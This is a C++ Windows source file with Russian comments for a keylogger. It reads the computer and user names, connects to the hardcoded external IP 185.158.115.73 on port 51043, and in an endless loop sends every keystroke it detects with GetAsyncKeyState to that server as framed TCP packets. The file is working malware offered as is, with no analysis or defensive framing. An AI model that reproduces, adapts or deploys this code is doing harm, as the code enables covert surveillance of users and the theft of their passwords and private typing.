#pragma comment(lib, "ws2_32.lib") #include #include #include #include #include #include #include #include #include #pragma warning(disable: 4996) #include "main.h" std::map BUTTON_CODES = { // {0x01, "LMB"}, // левая кнопка мыши // {0x02, "RMB"}, // правая кнопка мыши // {0x03, "CTRL+Break"}, // комбинация CTRL + Break // {0x04, "MMB"}, // средняя кнопка мыши {0x08, "BackSpace"}, // кнопка возврата на одну позицию {0x09, "TAB"}, {0x0D, "Enter"}, {0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift {0x11, "CTRL"}, {0x12, "ALT"}, // {0x13, "PAUSE"}, {0x14, "Caps Lock"}, {0x1B, "ESC"}, {0x20, "Space"}, // пробел {0x21, "Page Up"}, {0x22, "Page Down"}, {0x23, "END"}, {0x24, "HOME"}, {0x25, "Left arrow"}, // стрелка влево {0x26, "Up arrow"}, // стрелка вверх {0x27, "Right arrow"}, // стрелка вправо {0x28, "Down arrow"}, // стрелка вниз // {0x2C, "Print Screen"}, {0x2D, "Insert"}, {0x2E, "Delete"}, {0x2F, "HELP"}, {0x30, "0"}, {0x31, "1"}, {0x32, "2"}, {0x33, "3"}, {0x34, "4"}, {0x35, "5"}, {0x36, "6"}, {0x37, "7"}, {0x38, "8"}, {0x39, "9"}, {0x41, "A"}, {0x42, "B"}, {0x43, "C"}, {0x44, "D"}, {0x45, "E"}, {0x46, "F"}, {0x47, "G"}, {0x48, "H"}, {0x49, "I"}, {0x4A, "J"}, {0x4B, "K"}, {0x4C, "L"}, {0x4D, "M"}, {0x4E, "N"}, {0x4F, "O"}, {0x50, "P"}, {0x51, "Q"}, {0x52, "R"}, {0x53, "S"}, {0x54, "T"}, {0x55, "U"}, {0x56, "V"}, {0x57, "W"}, {0x58, "X"}, {0x59, "Y"}, {0x5A, "Z"}, {0x5B, "Left Windows"}, {0x5C, "Right Windows"}, {0x60, "NumPad 0"}, {0x61, "NumPad 1"}, {0x62, "NumPad 2"}, {0x63, "NumPad 3"}, {0x64, "NumPad 4"}, {0x65, "NumPad 5"}, {0x66, "NumPad 6"}, {0x67, "NumPad 7"}, {0x68, "NumPad 8"}, {0x69, "NumPad 9"}, {0x6A, "*"}, {0x6B, "+"}, {0x6C, "\\"}, {0x6D, "-"}, {0x6E, "."}, {0x6F, "/"}, {0x70, "F1"}, {0x71, "F2"}, {0x72, "F3"}, {0x73, "F4"}, {0x74, "F5"}, {0x75, "F6"}, {0x76, "F7"}, {0x77, "F8"}, {0x78, "F9"}, {0x79, "F10"}, {0x7A, "F11"}, {0x7B, "F12"}, {0x90, "Num Lock"}, // {0x91, "Scroll Lock"}, {0xA0, "Left Shift"}, {0xA1, "Right Shift"}, {0xA2, "Left CTRL"}, {0xA3, "Right CTRL"}, }; struct TCPIPPacket { uint8_t typeID; // идентификатор типа пакета uint32_t size; // размер всего пакета в байтах uint32_t time; // временная метка пакета uint32_t crc32; // контрольная сумма пакета uint32_t pcNameSize; // количество байтов в имени компьютера std::string pcName; // имя компьютера uint32_t userNameSize; // количество байтов в имени пользователя std::string userName; // имя пользователя uint32_t keyNameSize; // количество байтов в имени нажатой клавиши std::string keyName; // имя нажатой клавиши TCPIPPacket() : typeID(0xAA), size(0), time(0), crc32(0), pcNameSize(0), pcName(""), userNameSize(0), userName(""), keyNameSize(0), keyName("") { } }; bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш int WINAPI wWinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nShowCmd ) { TCPIPPacket packet; // пакет для отправки TCHAR pcName[SHRT_MAX]; DWORD pcNameSize = SHRT_MAX; TCHAR userName[SHRT_MAX]; DWORD userNameSize = SHRT_MAX; /* получаем имя компьютера */ while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле packet.pcName = pcName; // сохраним имя компьютера в пакете packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера /* получаем имя пользователя */ while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле packet.userName = userName; // сохраним имя пользователя в пакете packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя /* подключаемся к серверу */ WSADATA wsaData; const auto dllVersion = MAKEWORD(2, 1); while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно SOCKADDR_IN socketAddress; socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу socketAddress.sin_family = AF_INET; SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу /* Отслеживаем нажатие клавиш */ while (true) { processKeyboard(connection, packet); } return 0; } void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) { for (const auto& mRow : BUTTON_CODES) { const auto keyID = mRow.first; // получаем идентификатор клавиши if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата continue; // ищем дальше } rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время rPacket.keyName = mRow.second; // запишем имя клавиши rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета return (0 + sizeof(rPacket.typeID) // поле для хранения идентификатора пакета + sizeof(rPacket.size) // поле под хранение длины пакета + sizeof(rPacket.time) // поле под хранение временной метки + sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета + rPacket.pcName.length() // добавляем длину имени компьютера + sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера + rPacket.userName.length() // добавляем длину имени пользователя + sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя + rPacket.keyName.length() // добавляем длину имени нажатой клавиши + sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши ); }(rPacket); bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета sendPacket(socket, vBytes); // отправляем пакет Sleep(100); // 10 мс отдыхаем } Sleep(10); // 10 мс отдыхаем } uint32_t calculateCrc32(bytes_vector& vBytes) { uint32_t value, crc = 0xFF'FF'FF'FF; for (const auto byte : vBytes) { value = (crc ^ byte) & 0xFF; for (auto i = 0; i < CHAR_BIT; i++) { value = (value & 0x1) ? ((value >> 1) ^ 0xED'B8'83'20) : (value >> 1); } crc = value ^ crc >> CHAR_BIT; } return crc ^ 0xFF'FF'FF'FF; } void sendPacket(SOCKET& socket, bytes_vector& vBytes) { const auto size = vBytes.size(); char* message = new char[size + 1]; uint32_t i = 0; for (const auto byte : vBytes) { // копируем байты из вектора в массив message[i++] = byte; } send(socket, message, size, NULL); // отправляем сообщение по TCP/IP delete[] message; // удаляем массив } template <> void pushValue(bytes_vector& vBytes, const std::string& value) { vBytes.insert(vBytes.end(), value.begin(), value.end()); } bytes_vector packetToBytes(const TCPIPPacket& rPacket) { bytes_vector vBytes; pushValue(vBytes, rPacket.typeID); // тип пакета pushValue(vBytes, rPacket.size); // размер пакета pushValue(vBytes, rPacket.time); // временная метка pushValue(vBytes, rPacket.crc32); // контрольная сумма pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера pushValue(vBytes, rPacket.pcName); // имя компьютера pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя pushValue(vBytes, rPacket.userName); // имя пользователя pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши pushValue(vBytes, rPacket.keyName); // имя клавиши return vBytes; }